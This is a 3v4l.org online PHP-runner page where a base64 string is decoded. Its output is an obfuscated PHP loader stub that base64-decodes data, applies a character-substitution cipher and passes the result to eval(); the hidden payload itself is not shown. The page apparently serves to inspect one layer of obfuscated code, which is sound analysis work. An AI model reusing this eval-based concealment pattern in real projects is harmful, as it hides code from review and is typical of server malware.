3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCdTZ1BPOVlaV0ZLbXF5ZnhjakxKUnp1TTV2TnRzMWIue0I0bkNdaS8yRGwwRWhlQQpbZDg9UXA+VlhvIEh9NkdJdzdrYTNUclU8JywnPVI5b2RtcGxBRVB5azhndls1M3hyTWV6cVpIaTdZaFc8RHNHez5DY1h9MU4vYWZqNl1KdHVTIAouQlVud1ZLTFFPMjBJVEY0YicpOyRfUj1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=');
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40, 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.29, 8.2.0 - 8.2.21, 8.3.0 - 8.3.9
$_X=base64_decode($_X);$_X=strtr($_X,'SgPO9YZWFKmqyfxcjLJRzuM5vNts1b.{B4nC]i/2Dl0EheA [d8=Qp>VXo H}6GIw7ka3TrU<','=R9odmplAEPyk8gv[53xrMezqZHi7YhW<DsG{>CcX}1N/afj6]JtuS .BUnwVKLQO20ITF4b');$_R=str_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;

preferences:
282.36 ms | 407 KiB | 464 Q